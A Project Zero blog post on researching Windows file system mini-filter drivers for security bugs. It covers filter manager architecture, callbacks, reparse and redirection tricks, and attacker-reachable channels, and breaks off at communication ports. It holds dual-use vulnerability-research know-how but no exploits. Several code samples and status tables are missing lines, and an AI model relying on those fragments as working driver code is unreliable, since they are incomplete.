Project Zero

Syndikovat obsah
News and updates from the Project Zero team at Google
Aktualizace: 36 min 50 sek zpět

Hunting for Bugs in Windows Mini-Filter Drivers

14 Leden, 2021 - 18:04
ul.lst-kix_j703njnsekbb-2{list-style-type:none}ul.lst-kix_j703njnsekbb-3{list-style-type:none}ul.lst-kix_j703njnsekbb-4{list-style-type:none}ul.lst-kix_j703njnsekbb-5{list-style-type:none}ul.lst-kix_j703njnsekbb-6{list-style-type:none}ul.lst-kix_j703njnsekbb-7{list-style-type:none}ul.lst-kix_j703njnsekbb-8{list-style-type:none}.lst-kix_j703njnsekbb-8>li:before{content:"\0025a0 "}ul.lst-kix_j703njnsekbb-0{list-style-type:none}ul.lst-kix_j703njnsekbb-1{list-style-type:none}ul.lst-kix_itnic84mr100-8{list-style-type:none}.lst-kix_itnic84mr100-0>li:before{content:"\0025cf "}ul.lst-kix_itnic84mr100-6{list-style-type:none}ul.lst-kix_itnic84mr100-7{list-style-type:none}ul.lst-kix_itnic84mr100-4{list-style-type:none}.lst-kix_itnic84mr100-2>li:before{content:"\0025a0 "}.lst-kix_itnic84mr100-3>li:before{content:"\0025cf "}ul.lst-kix_itnic84mr100-5{list-style-type:none}ul.lst-kix_itnic84mr100-2{list-style-type:none}ul.lst-kix_itnic84mr100-3{list-style-type:none}ul.lst-kix_itnic84mr100-0{list-style-type:none}.lst-kix_itnic84mr100-1>li:before{content:"\0025cb "}ul.lst-kix_itnic84mr100-1{list-style-type:none}.lst-kix_itnic84mr100-6>li:before{content:"\0025cf "}.lst-kix_itnic84mr100-7>li:before{content:"\0025cb "}.lst-kix_itnic84mr100-4>li:before{content:"\0025cb "}.lst-kix_itnic84mr100-8>li:before{content:"\0025a0 "}.lst-kix_j703njnsekbb-1>li:before{content:"\0025cb "}.lst-kix_itnic84mr100-5>li:before{content:"\0025a0 "}.lst-kix_j703njnsekbb-0>li:before{content:"\0025cf "}{margin-left:-18pt;white-space:nowrap;display:inline-block;min-width:18pt}.lst-kix_j703njnsekbb-6>li:before{content:"\0025cf "}.lst-kix_j703njnsekbb-7>li:before{content:"\0025cb "}.lst-kix_j703njnsekbb-5>li:before{content:"\0025a0 "}.lst-kix_j703njnsekbb-2>li:before{content:"\0025a0 "}.lst-kix_j703njnsekbb-3>li:before{content:"\0025cf "}.lst-kix_j703njnsekbb-4>li:before{content:"\0025cb "}ol{margin:0;padding:0}table td,table th{padding:0}.c18{border-right-style:solid;padding:2pt 2pt 2pt 2pt;border-bottom-color:#000000;border-top-width:1pt;border-right-width:1pt;border-left-color:#000000;vertical-align:bottom;border-right-color:#000000;border-left-width:1pt;border-top-style:solid;background-color:#dd7e6b;border-left-style:solid;border-bottom-width:1pt;width:132pt;border-top-color:#000000;border-bottom-style:solid}.c39{border-right-style:solid;padding:2pt 2pt 2pt 2pt;border-bottom-color:#000000;border-top-width:1pt;border-right-width:1pt;border-left-color:#000000;vertical-align:bottom;border-right-color:#000000;border-left-width:1pt;border-top-style:solid;background-color:#d9d9d9;border-left-style:solid;border-bottom-width:1pt;width:130.5pt;border-top-color:#000000;border-bottom-style:solid}.c46{border-right-style:solid;padding:2pt 2pt 2pt 2pt;border-bottom-color:#000000;border-top-width:1pt;border-right-width:1pt;border-left-color:#000000;vertical-align:bottom;border-right-color:#000000;border-left-width:1pt;border-top-style:solid;background-color:#ffe599;border-left-style:solid;border-bottom-width:1pt;width:16.5pt;border-top-color:#000000;border-bottom-style:solid}.c63{border-right-style:solid;padding:2pt 2pt 2pt 2pt;border-bottom-color:#000000;border-top-width:1pt;border-right-width:1pt;border-left-color:#000000;vertical-align:bottom;border-right-color:#000000;border-left-width:1pt;border-top-style:solid;background-color:#ffe599;border-left-style:solid;border-bottom-width:1pt;width:191.2pt;border-top-color:#000000;border-bottom-style:solid}.c22{border-right-style:solid;padding:5pt 5pt 5pt 5pt;border-bottom-color:#000000;border-top-width:1pt;border-right-width:1pt;border-left-color:#000000;vertical-align:top;border-right-color:#000000;border-left-width:1pt;border-top-style:solid;background-color:#efefef;border-left-style:solid;border-bottom-width:1pt;width:41.2pt;border-top-color:#000000;border-bottom-style:solid}.c29{border-right-style:solid;padding:2pt 2pt 2pt 2pt;border-bottom-color:#000000;border-top-width:1pt;border-right-width:1pt;border-left-color:#000000;vertical-align:bottom;border-right-color:#000000;border-left-width:1pt;border-top-style:solid;background-color:#dd7e6b;border-left-style:solid;border-bottom-width:1pt;width:70.5pt;border-top-color:#000000;border-bottom-style:solid}.c65{border-right-style:solid;padding:2pt 2pt 2pt 2pt;border-bottom-color:#000000;border-top-width:1pt;border-right-width:1pt;border-left-color:#000000;vertical-align:bottom;border-right-color:#000000;border-left-width:1pt;border-top-style:solid;background-color:#d9d9d9;border-left-style:solid;border-bottom-width:1pt;width:69pt;border-top-color:#000000;border-bottom-style:solid}.c61{border-right-style:solid;padding:5pt 5pt 5pt 5pt;border-bottom-color:#000000;border-top-width:1pt;border-right-width:1pt;border-left-color:#000000;vertical-align:top;border-right-color:#000000;border-left-width:1pt;border-top-style:solid;background-color:#efefef;border-left-style:solid;border-bottom-width:1pt;width:156pt;border-top-color:#000000;border-bottom-style:solid}.c59{border-right-style:solid;padding:5pt 5pt 5pt 5pt;border-bottom-color:#000000;border-top-width:1pt;border-right-width:1pt;border-left-color:#000000;vertical-align:top;border-right-color:#000000;border-left-width:1pt;border-top-style:solid;border-left-style:solid;border-bottom-width:1pt;width:270.8pt;border-top-color:#000000;border-bottom-style:solid}.c78{border-right-style:solid;padding:2pt 2pt 2pt 2pt;border-bottom-color:#000000;border-top-width:1pt;border-right-width:1pt;border-left-color:#000000;vertical-align:bottom;border-right-color:#000000;border-left-width:1pt;border-top-style:solid;border-left-style:solid;border-bottom-width:1pt;width:69pt;border-top-color:#000000;border-bottom-style:solid}.c38{border-right-style:solid;padding:2pt 2pt 2pt 2pt;border-bottom-color:#000000;border-top-width:1pt;border-right-width:1pt;border-left-color:#000000;vertical-align:bottom;border-right-color:#000000;border-left-width:1pt;border-top-style:solid;border-left-style:solid;border-bottom-width:1pt;width:15.8pt;border-top-color:#000000;border-bottom-style:solid}.c37{border-right-style:solid;padding:5pt 5pt 5pt 5pt;border-bottom-color:#000000;border-top-width:1pt;border-right-width:1pt;border-left-color:#000000;vertical-align:top;border-right-color:#000000;border-left-width:1pt;border-top-style:solid;border-left-style:solid;border-bottom-width:1pt;width:238.5pt;border-top-color:#000000;border-bottom-style:solid}.c26{border-right-style:solid;padding:5pt 5pt 5pt 5pt;border-bottom-color:#000000;border-top-width:1pt;border-right-width:1pt;border-left-color:#000000;vertical-align:top;border-right-color:#000000;border-left-width:1pt;border-top-style:solid;border-left-style:solid;border-bottom-width:1pt;width:42pt;border-top-color:#000000;border-bottom-style:solid}.c68{border-right-style:solid;padding:2pt 2pt 2pt 2pt;border-bottom-color:#000000;border-top-width:1pt;border-right-width:1pt;border-left-color:#000000;vertical-align:bottom;border-right-color:#000000;border-left-width:1pt;border-top-style:solid;border-left-style:solid;border-bottom-width:1pt;width:191.2pt;border-top-color:#000000;border-bottom-style:solid}.c51{border-right-style:solid;padding:2pt 2pt 2pt 2pt;border-bottom-color:#000000;border-top-width:1pt;border-right-width:1pt;border-left-color:#000000;vertical-align:bottom;border-right-color:#000000;border-left-width:1pt;border-top-style:solid;border-left-style:solid;border-bottom-width:1pt;width:16.5pt;border-top-color:#000000;border-bottom-style:solid}.c44{border-right-style:solid;padding:5pt 5pt 5pt 5pt;border-bottom-color:#000000;border-top-width:1pt;border-right-width:1pt;border-left-color:#000000;vertical-align:top;border-right-color:#000000;border-left-width:1pt;border-top-style:solid;border-left-style:solid;border-bottom-width:1pt;width:468pt;border-top-color:#000000;border-bottom-style:solid}.c28{border-right-style:solid;padding:5pt 5pt 5pt 5pt;border-bottom-color:#000000;border-top-width:1pt;border-right-width:1pt;border-left-color:#000000;vertical-align:top;border-right-color:#000000;border-left-width:1pt;border-top-style:solid;border-left-style:solid;border-bottom-width:1pt;width:187.5pt;border-top-color:#000000;border-bottom-style:solid}.c81{border-right-style:solid;padding:5pt 5pt 5pt 5pt;border-bottom-color:#000000;border-top-width:1pt;border-right-width:1pt;border-left-color:#000000;vertical-align:top;border-right-color:#000000;border-left-width:1pt;border-top-style:solid;border-left-style:solid;border-bottom-width:1pt;width:41.2pt;border-top-color:#000000;border-bottom-style:solid}.c41{border-right-style:solid;padding:2pt 2pt 2pt 2pt;border-bottom-color:#000000;border-top-width:1pt;border-right-width:1pt;border-left-color:#000000;vertical-align:bottom;border-right-color:#000000;border-left-width:1pt;border-top-style:solid;border-left-style:solid;border-bottom-width:1pt;width:132pt;border-top-color:#000000;border-bottom-style:solid}.c13{border-right-style:solid;padding:2pt 2pt 2pt 2pt;border-bottom-color:#000000;border-top-width:1pt;border-right-width:1pt;border-left-color:#000000;vertical-align:bottom;border-right-color:#000000;border-left-width:1pt;border-top-style:solid;border-left-style:solid;border-bottom-width:1pt;width:59.2pt;border-top-color:#000000;border-bottom-style:solid}.c72{border-right-style:solid;padding:2pt 2pt 2pt 2pt;border-bottom-color:#000000;border-top-width:1pt;border-right-width:1pt;border-left-color:#000000;vertical-align:bottom;border-right-color:#000000;border-left-width:1pt;border-top-style:solid;border-left-style:solid;border-bottom-width:1pt;width:70.5pt;border-top-color:#000000;border-bottom-style:solid}.c34{border-right-style:solid;padding:2pt 2pt 2pt 2pt;border-bottom-color:#000000;border-top-width:1pt;border-right-width:1pt;border-left-color:#000000;vertical-align:bottom;border-right-color:#000000;border-left-width:1pt;border-top-style:solid;border-left-style:solid;border-bottom-width:1pt;width:61.5pt;border-top-color:#000000;border-bottom-style:solid}.c58{border-right-style:solid;padding:2pt 2pt 2pt 2pt;border-bottom-color:#000000;border-top-width:1pt;border-right-width:1pt;border-left-color:#000000;vertical-align:bottom;border-right-color:#000000;border-left-width:1pt;border-top-style:solid;border-left-style:solid;border-bottom-width:1pt;width:130.5pt;border-top-color:#000000;border-bottom-style:solid}.c62{border-right-style:solid;padding:5pt 5pt 5pt 5pt;border-bottom-color:#000000;border-top-width:1pt;border-right-width:1pt;border-left-color:#000000;vertical-align:top;border-right-color:#000000;border-left-width:1pt;border-top-style:solid;border-left-style:solid;border-bottom-width:1pt;width:156pt;border-top-color:#000000;border-bottom-style:solid}.c53{border-right-style:solid;padding:2pt 2pt 2pt 2pt;border-bottom-color:#000000;border-top-width:1pt;border-right-width:1pt;border-left-color:#000000;vertical-align:bottom;border-right-color:#000000;border-left-width:1pt;border-top-style:solid;border-left-style:solid;border-bottom-width:1pt;width:189.8pt;border-top-color:#000000;border-bottom-style:solid}.c5{color:#434343;font-weight:400;text-decoration:none;vertical-align:baseline;font-size:14pt;font-family:"Arial";font-style:normal}.c47{padding-top:16pt;padding-bottom:4pt;line-height:1.15;page-break-after:avoid;orphans:2;widows:2;text-align:left}.c12{color:#000000;font-weight:400;text-decoration:none;vertical-align:baseline;font-size:11pt;font-family:"Courier New";font-style:normal}.c6{color:#000000;font-weight:700;text-decoration:none;vertical-align:baseline;font-size:11pt;font-family:"Arial";font-style:normal}.c1{color:#000000;font-weight:400;text-decoration:none;vertical-align:baseline;font-size:11pt;font-family:"Arial";font-style:normal}.c55{padding-top:18pt;padding-bottom:6pt;line-height:1.15;page-break-after:avoid;orphans:2;widows:2;text-align:left}.c14{color:#000000;font-weight:400;text-decoration:none;vertical-align:baseline;font-size:16pt;font-family:"Arial";font-style:normal}.c24{color:#000000;font-weight:700;text-decoration:none;vertical-align:baseline;font-family:"Arial";font-style:normal}.c25{color:#000000;font-weight:400;text-decoration:none;vertical-align:baseline;font-family:"Arial";font-style:normal}.c0{padding-top:0pt;padding-bottom:0pt;line-height:1.15;orphans:2;widows:2;text-align:left}.c19{padding-top:0pt;padding-bottom:0pt;line-height:1.1500000000000001;orphans:2;widows:2;text-align:left}.c52{color:#000000;font-weight:400;text-decoration:none;vertical-align:baseline;font-size:11pt;font-family:"Arial"}.c9{background-color:#ffffff;font-size:10pt;font-family:"Courier New";color:#000080;font-weight:700}.c2{text-decoration-skip-ink:none;-webkit-text-decoration-skip:none;color:#1155cc;text-decoration:underline}.c30{color:#000000;text-decoration:none;vertical-align:baseline;font-style:normal}.c4{background-color:#ffffff;font-size:10pt;font-family:"Courier New";font-weight:400}.c7{padding-top:0pt;padding-bottom:0pt;line-height:1.0;text-align:left}.c16{font-size:10pt;font-family:"Courier New";color:#8b0000;font-weight:400}.c15{border-spacing:0;border-collapse:collapse;margin-right:auto}.c32{background-color:#ffffff;font-family:"Courier New";color:#0000ff;font-weight:700}.c11{padding-top:0pt;padding-bottom:0pt;line-height:1.15;text-align:left}.c84{background-color:#ffffff;font-family:"Courier New";font-weight:700}.c40{text-decoration:none;vertical-align:baseline;font-style:normal}.c71{background-color:#ffffff;max-width:468pt;padding:72pt 72pt 72pt 72pt}.c31{background-color:#ffffff;font-size:10.5pt;color:#171717}.c50{font-weight:700;font-size:11pt;font-family:"Courier New"}.c10{color:inherit;text-decoration:inherit}.c27{margin-left:36pt;padding-left:0pt}.c70{padding:0;margin:0}.c17{font-weight:400;font-family:"Courier New"}.c56{border:1px solid black;margin:5px}.c60{color:#0000ff}.c75{background-color:#efefef}.c8{height:11pt}.c79{color:#006161}.c80{color:#008000}.c49{background-color:#f4cccc}.c82{height:20.1pt}.c21{font-style:italic}.c69{background-color:#d9d9d9}.c74{color:#6aa84f}.c43{color:#800080}.c76{color:#808080}.c64{background-color:#ffe599}.c42{color:#a82d00}.c66{color:#804000}.c36{color:#ff8000}.c67{background-color:#a4c2f4}.c20{height:0pt}.c83{color:#006400}.c35{color:#696969}.c77{background-color:#ffd966}.c48{color:#8a2be2}.c73{background-color:#b6d7a8}.c45{color:#000080}.c54{color:#8000ff}.c33{background-color:#dd7e6b}.c85{height:27pt}.c57{color:#00008b}.c3{height:15.8pt}.c23{font-size:10pt}.title{padding-top:0pt;color:#000000;font-size:26pt;padding-bottom:3pt;font-family:"Arial";line-height:1.15;page-break-after:avoid;orphans:2;widows:2;text-align:left}.subtitle{padding-top:0pt;color:#666666;font-size:15pt;padding-bottom:16pt;font-family:"Arial";line-height:1.15;page-break-after:avoid;orphans:2;widows:2;text-align:left}li{color:#000000;font-size:11pt;font-family:"Arial"}p{margin:0;color:#000000;font-size:11pt;font-family:"Arial"}h1{padding-top:20pt;color:#000000;font-size:20pt;padding-bottom:6pt;font-family:"Arial";line-height:1.15;page-break-after:avoid;orphans:2;widows:2;text-align:left}h2{padding-top:18pt;color:#000000;font-size:16pt;padding-bottom:6pt;font-family:"Arial";line-height:1.15;page-break-after:avoid;orphans:2;widows:2;text-align:left}h3{padding-top:16pt;color:#434343;font-size:14pt;padding-bottom:4pt;font-family:"Arial";line-height:1.15;page-break-after:avoid;orphans:2;widows:2;text-align:left}h4{padding-top:14pt;color:#666666;font-size:12pt;padding-bottom:4pt;font-family:"Arial";line-height:1.15;page-break-after:avoid;orphans:2;widows:2;text-align:left}h5{padding-top:12pt;color:#666666;font-size:11pt;padding-bottom:4pt;font-family:"Arial";line-height:1.15;page-break-after:avoid;orphans:2;widows:2;text-align:left}h6{padding-top:12pt;color:#666666;font-size:11pt;padding-bottom:4pt;font-family:"Arial";line-height:1.15;page-break-after:avoid;font-style:italic;orphans:2;widows:2;text-align:left}

Posted by James Forshaw, Project Zero

In December Microsoft fixed 4 issues in Windows in the Cloud Filter and Windows Overlay Filter (WOF) drivers (CVE-2020-17103, CVE-2020-17134, CVE-2020-17136, CVE-2020-17139). These 4 issues were 3 local privilege escalations and a security feature bypass, and they were all present in Windows file system filter drivers. I’ve found a number of issues in filter drivers previously, including 6 in the LUAFV driver which implements UAC file virtualization.

 The purpose of a file system filter driver according to Microsoft is:

“A file system filter driver can filter I/O operations for one or more file systems or file system volumes. Depending on the nature of the driver, filter can mean log, observe, modify, or even prevent. Typical applications for file system filter drivers include antivirus utilities, encryption programs, and hierarchical storage management systems.”

What this boils down to is the filter driver can inspect and modify almost any IO request sent to a file system. This power comes with many responsibilities, and considering the complexity of the IO model on Windows it can be hard to avoid introducing subtle bugs.

With the issues being fixed I thought would be a good opportunity to go into a bit more detail on how you can research file system filter drivers, specifically the kind of things I looked at to find my security vulnerabilities. I’m going to give an overview of how filter drivers work, how you communicate with them, some hints on reverse engineering and some of the common security issues you might discover. I’ll also provide some basic example code to give you a basic idea of some common coding patterns. The goal is to allow you to do your own research in this area.

I’m assuming you have some prior knowledge on how the IO Manager works and have experience in finding security issues in non-filter drivers. Also I’m not claiming this to be an exhaustive description of bug hunting in filter drivers as the topic is very deep and complex. With this in mind let’s start with an overview of how a filter driver works.

Filter Driver Implementation

A filter driver exploits the way the Windows IO Manager implements file system drivers. When you make a request to access a file, such as calling the NtCreateFile system call the IO Manager allocates an IO Request Packet (IRP) structure which contains the operation type and all the parameters for the operation. The IRP is then dispatched to the top of the device stack associated with the request.

A filter driver registers for the IO requests it supports with a callback function which is invoked when a specific IO request type IRP is queued in the device stack. The driver callback can then do a number of different things to the IRP.

  • Pass the IRP unmodified directly to the next driver in the stack.
  • Modify the IRP then pass to the next driver.
  • Modify the IRP response.
  • Complete the IRP operation with a success result.
  • Complete the IRP operation with an error result.
  • Pass the IRP to a different device stack.

This is the basics of how a filter driver works, the driver is attached at a suitable point of a device stack and handles IO requests. When an IRP of interest is received it can perform one of the operations to filter requests. If it wants to inspect or modify the response it can register for the completion routine and handle the operation in the callback.

It’s important to note that the IRP doesn’t automatically propagate down the stack. A driver can choose to complete the IRP which means it’ll not be processed by any other driver down the stack. If the driver passes on the IRP the driver must register a completion routine otherwise it’ll not be notified when the IRP has been processed by the lower drivers in the stack.

For a file system filter the insertion point would typically be on top of the file system device object which is exposed by a file system driver such as NTFS. However, the driver can insert itself almost anywhere, allowing it to filter not just file system requests but also change data such as disk sectors. For example the Bitlocker Full Disk Encryption driver is a filter which is attached to the top of a volume block device. Any sectors passed in a write IRP are encrypted before passing to the lower driver. Read IRPs are handled in a completion routine and the sectors are decrypted before returning to the caller.

The Filter Manager and Mini-Filters

Implementing a filter driver from scratch is quite complicated. You have to handle every single IO request type, even if you don’t care about it, so that it can be forwarded to the next driver in the stack. You also have to find the correct point to insert your filter driver into the device stack. It’s easy to attach a driver to the top of the stack but trying to insert in the middle of an existing stack can be a recipe for disaster, for example the ordering of the filter drivers in the stack might differ depending on load order.

To make it easier to write a filter driver Windows comes with the Filter Manager Driver which takes care of handling IO requests and device stacks. This allows a developer to write what’s called a mini-filter driver instead of a, now named, legacy filter driver. The following diagram shows how the architecture changes when you introduce the filter manager.

As you can see the mini-filters don’t add their own device objects to the stack. Instead they are registered with the filter manager and it’s the filter manager which inserts its own device. The filter manager handles the IO requests and calls registered mini-filters to process the request. If your mini-filter doesn’t support a certain IO request then the filter manager implements a default which handles passing the IRP on to the next driver in the stack.

Another useful feature is the filter manager implements a mechanism for ordering the mini-filters, through an altitude value. The higher the altitude value the higher the priority. For example, a filter at altitude 10000 will be called before a filter at altitude 5000 when making a IO request. When handling responses the altitudes processed in reverse order, so the filter at 5000 will be called first then the one at 10000. Officially the altitude values must be registered with Microsoft. MSDN contains a list of the currently registered altitudes. However, there’s nothing to stop a driver from registering itself with a different altitude except it’ll likely draw the ire of Microsoft and might fail certification. By formalizing the altitude values you avoid the risk that a filter driver’s ordering may change depending on load order.

Mini-Filter Registration

A mini-filter driver registers its presence by calling the FltRegisterFilter filter manager API, normally during the driver’s entry point. The main parameter is a FLT_REGISTRATION structure which defines all the various callbacks for handling IO requests and bookkeeping. The important fields are the callbacks which a driver can register to respond to events from the filter manager. You can view what filters are registered with the filter manager using the fltmc command line tool (must be run as an administrator).

C:\> fltmc

Filter Name                     Num Instances    Altitude    Frame

------------------------------  -------------  ------------  -----

bindflt                                 1       409800         0

WdFilter                               17       328010         0

storqosflt                              1       244000         0

wcifs                                   0       189900         0

CldFlt                                  0       180451         0

FileCrypt                               0       141100         0

luafv                                   1       135000         0

npsvctrig                               1        46000         0

Wof                                    14        40700         0

FileInfo                               17        40500         0

We can see all the mini-filters registered, the number of instances which indicates the number of volumes that’s been attached and the altitude. There are 19 volumes available for filtering in the system I tested on (according to running fltmc volumes) so no filter is attached to everything. A driver can select and decide what volumes it wants to attach to by assigning an instance setup callback to the InstanceSetupCallback field in the filter registration structure. This callback is invoked for every volume on the system, including new ones added after the filter starts. The callback can return the status code STATUS_FLT_DO_NOT_ATTACH to block attachment.

You can view what volumes a filter is attached to using fltmc again:

C:\> fltmc instances -f luafv

Instances for luafv filter:

Volume Name     Altitude        Instance Name       Frame  VlStatus

------------- ------------  ----------------------  -----  --------

C:               135000     luafv                     0

This just shows the volume that LUAFV is attached to. As UAC virtualization only makes sense in the context of the system drive then it’s only attached to C:. You can manually attach and detach filters on volumes using the fltmc tool with the attach and detach commands, we’ll show an example of using these commands later.

NOTE: Just because a filter driver is attached to a volume it doesn’t mean it’ll filter any IO requests for that volume. For example, the WOF driver is attached to all NTFS volumes, however it’ll only enable itself if there’s at least one file in the volume which is registered to be handled by WOF. Otherwise it ignores the IO request, letting it complete normally.

Most mini-filters only attach to file system volumes. However, the filter manager also supports attaching to the named pipe and mailslot devices. The filter driver indicates support by setting the FLTFL_REGISTRATION_SUPPORT_NPFS_MSFS flag in the FLT_REGISTRATION structure.

Mini-Filter IO Request Operation Callbacks

By far the most important field in the FLT_REGISTRATION structure is OperationRegistration which references a list of FLT_OPERATION_REGISTRATION structures defining the IO request callbacks. Each entry contains the IRP major code for the operation (such as IRP_MJ_CREATE or IRP_MJ_FILE_SYSTEM_CONTROL) and can have a pre-request and post-request callback. The driver doesn’t need to specify both if it doesn’t need both. The list is a variable length array, terminated with the major code being set to IRP_MJ_OPERATION_END (0x80). Any operation not in the list is handled by the filter manager which typically just ignores it and continues to the next filter in the list. A basic example of what you might see in C code is shown below.





      PostCreateOperation },



A pre-request callback accepts three parameters:

  • The parameters for the operation, specified in a FLT_CALLBACK_DATA structure.
  • Related kernel objects, in a FLT_RELATED_OBJECTS structure.
  • An output pointer which can be assigned a callback context.

The prototype of the callback function pointer is:





    PVOID *CompletionContext


The parameters for the IO request are accessible in the FLT_CALLBACK_DATA structure’s Iopb field which is an FLT_IO_PARAMETER_BLOCK structure. The parameters are similar to the ones exposed through the IRP’s current IO_STACK_LOCATION structure. The data parameter also contains the IO_STATUS_BLOCK for the request and the caller’s requestor mode (either KernelMode or UserMode). The return code from the pre-request callback function determines what the filter driver wants to do with the request. The return type FLT_PREOP_CALLBACK_STATUS can be one of the following:






The callback was successful. Pass on the IO request and get a post-operation callback after completion.



The callback was successful. Pass on the IO request. No callback required.



Mark the IO operation as pending.



If handling a Fast IO operation, fail it to force the operation as a normal IO Request.



The operation has been completed. Do not pass on the IO request to any other drivers, even other filters in the stack.



Synchronize the post-operation callback in the same thread.



Disallow FastIO file creation.

A post-request callback accepts four parameters:

  • The parameters for the operation, specified in a FLT_CALLBACK_DATA structure.
  • Related kernel objects, in a FLT_RELATED_OBJECTS structure.
  • A context pointer which could have been assigned by the pre-operation callback.
  • Additional flags.

For post-operation callbacks the prototype is as follows:





    PVOID CompletionContext,



The parameters are more or less the same as for the pre-operation callback. The CompletionContext parameter is the same one assigned in the pre-operation callback. If this value was allocated the post-operation callback needs to free the memory buffer to prevent leaking memory. The FLT_POSTOP_CALLBACK_STATUS return type can be one of the following values.






The callback was successful. No further processing required.



Halts completion of the IO request. The operation will be pending until the filter driver completes it.



Disallow FastIO file creation.

Handling IO Requests

Now that we’ve described registration of the mini-filter and its callbacks let's go through a few examples of how IO requests are handled inside the pre and post operation callbacks. We’ll use the six operations I mentioned earlier as a base for this discussion. Any examples are to demonstrate the likely code you’ll find in a driver but omits security checks and other unimportant details. This isn’t Stack Overflow, so please don’t copy and paste them into real drivers.

Pass the IO request unmodified

The simplest way of not modifying an IO request is to not specify a pre-operation callback. Of course we’re assuming the driver wants to handle an IO request selectively based on certain criteria so it must implement the callback.

The easiest way to ignore the IO request is to return the FLT_PREOP_SUCCESS_NO_CALLBACK status code from the pre-operation callback. That indicates to the filter manager that the mini-filter has completed its processing and is no longer interested in the IO request.

To give an example the following pre-create operation callback will ignore any open requests where the desired access does not request the FILE_WRITE_DATA access right. If the request doesn’t contain the access then the request is completed with no callback.





    PVOID* CompletionContext

) {

    PFLT_IO_PARAMETER_BLOCK ps = &Data->Iopb->Parameters;

    DWORD access = ps->Create.SecurityContext->DesiredAccess;

    if ((access & FILE_WRITE_DATA) == 0) {



    // Perform some operation...


The example extracts the desired access from the creation parameters. If the FILE_WRITE_DATA access right is not set then the filter driver will ignore the IO request entirely by returning the no callback status code.

Of course depending on the purpose of the filter driver it might still want the post-operation callback to be called. For example if the filter driver is monitoring file access then the post-operation callback will contain valuable information such as the success or failure of opening the file or the data read from the file. In this case it makes sense to return FLT_PREOP_SUCCESS_WITH_CALLBACK.

When the driver specified it wants a post-operation callback it can configure the CompletionContext with any value it likes. This context can then be used in the post-operation callback. This can be used to pass additional data between the callbacks so that it can perform its operation correctly.

Modify the IO request

During a pre-operation callback the driver can modify the contents of the FLT_CALLBACK_DATA structure. For example the driver could change the security context used to open the file or it could even change the name of the file itself. The driver must indicate to the filter manager that the data has been modified by setting the FLTFL_CALLBACK_DATA_DIRTY flag in the Flags field before returning. The correct way of setting the flag is to call the FltSetCallbackDataDirty API however all that currently does is set the flag.

Modify the IO request response

As with the request you can modify the response in the post-operation callback which will return the changes to higher mini-filters and the IO manager. One trick I’ve commonly seen is to use this to change the target file by modifying the file name and returning the status code STATUS_REPARSE as if the file system hand encountered a symbolic link. The following is the basic approach that the LUAFV driver uses to perform the reparse operation to an arbitrary file path in a post-operation callback.


                                        PUNICODE_STRING TargetFileName){

  LuafvSetEcp(Data, TargetFileName);

  PFILE_OBJECT FileObject = Data->Iopb->TargetFileObject;


  FileObject->FileName.Buffer = ExAllocatePool(PagedPool, 


  FileObject->FileName.MaximumLength = TargetFileName.Length;

  RtlCopyUnicodeString(&FileObject->FileName, TargetFileName);

  Data->IoStatus.Information = 0;

  Data->IoStatus.Status = STATUS_REPARSE;




The code deallocates the filename buffer in the target file object and replaces it with its own. It then sets the status code to STATUS_REPARSE and indicates that processing has finished. In Windows 7 a IoReplaceFileObjectName API was introduced which makes this operation much less error prone, however LUAFV was written for Vista where the API didn’t exist so it had to make do. An official Microsoft example can be found in the SimRep sample driver.

One quirk of this operation is the FileName in the file object is volume relative, e.g. if you opened c:\windows\notepad.exe then FileName is set to \windows\notepad.exe. However, you can replace that with an absolute path such as \??\d:\abc.txt and that still works. Also the driver doesn’t need to create a real mount point or symbolic link reparse point buffer for this to work. The IO manager will just take the path from the file object and restart the create request with the new path.

Complete the IO request with a success result

The driver can immediately complete an IO request by returning FLT_PREOP_COMPLETE from a pre-operation callback and updating the IO_STATUS_BLOCK in the FLT_CALLBACK_DATA parameter. The previous reparse example shows how that update works. If you’re only updating the IO_STATUS_BLOCK you don’t need to mark the data as dirty.

Higher level filter drivers will still get their post-operation callbacks invoked if they’re registered for them, however no lower altitude drivers will be called with the IO request.

Complete the IO request with an error result.

This is basically the same as for a success code, just specifying a different NT status. There’s nothing stopping a higher level filter driver from ignoring the error code and replacing it with a success.

Pass the IO request to a different file or device stack

The filter driver can redirect the operation to another device stack. For example you could implement a driver which redirects file reads and writes to a completely different file on the disk, making it look like the user is modifying the file when they’re not.

The most obvious way of achieving this would be to open the new file during the pre-create operation then use that file object as the target for all subsequent operations. There are two potential issues with this approach.

First, how can a filter driver interact with a file system volume it’s attached to without resulting in an infinite loop? For example, if the driver wants to open a file it can call IoCreateFile (and variants). However, the IO manager would dispatch the IO request to the top of the device stack, which would get back to the filter manager which could end up calling the filter driver again, ad infinitum. The same would be the case with any exported APIs from the kernel.

This issue is solved through two mechanisms. The first is the filter manager exposes a set of APIs which mirror the kernel IO APIs but will only dispatch the IO request to filters below the caller. For example you can call FltCreateFileEx or FltWriteFile and be sure you won’t end up in a loop.

For file creation requests the driver can also employ a second mechanism called Extra Create Parameters (ECP). An ECP is a GUID along with additional data which can be attached to the create request using the FltInsertExtraCreateParameter API. The filter driver can attach the ECP to the request, then check for its presence using FltFindExtraCreateParameter API, allowing it to ignore the request. For example the earlier code which shows how LUAFV implements a reparse operation shows calling LuafvSetEcp which sets an ECP on the request so that the new create request can be ignored by the driver.

The second issue is how do you actually pass on the parameters for the IO request to the new file you’ve opened? The naive approach would be to extract the parameters then invoke the corresponding filter manager API. For example, for a write IO request, read out the buffer and length then call FltWriteFile. This is error prone and might introduce subtle security issues.

A better approach is the driver can change the TargetFileObject field in the pre-operation callback’s FLT_IO_PARAMETER_BLOCK structure then return a success code for the IO request to continue. This will cause the filter manager to send the original IO request to the new file object. The following is a simple example which could be in a pre-operation callback which will redirect the request to a file object extracted from the file system context:

PREDIRECT_CONTEXT context = // Get driver’s allocated context.

if (context->FileObject) {

    Data->Iopb->TargetFileObject = context->FileObject;




Mini-Filter Communication

For there to be a security vulnerability the driver must process some untrustworthy data from a malicious user. What makes mini-filter drivers interesting is there's multiple places where untrusted data can be processed. Let’s go through the ways of identifying and analyzing these communication channels.

Device Object

A mini-filter doesn’t need to create any device object to perform its function, the filter manager deals with creating any necessary device objects. That doesn’t mean the driver can’t create one for its own purposes. A typical attack vector is the malicious user opens a handle to the device object and sends device IO control codes to exercise the vulnerable behavior.

I’m not going to go into details about how to analyze Windows kernel drivers for security issues in the IRP dispatch callbacks, as there’s plenty of other resources. For example: Reverse Engineering and Bug Hunting on KMDF Drivers (video, slides).

Filter Communication Ports

One unique communication mechanism which is implemented by the filter manager is Filter Communication Ports. A port can be created by a mini-filter driver by calling the exported filter manager API FltCreateCommunicationPort.







RtlInitUnicodeString(&Name, L"\\FilterPortName");


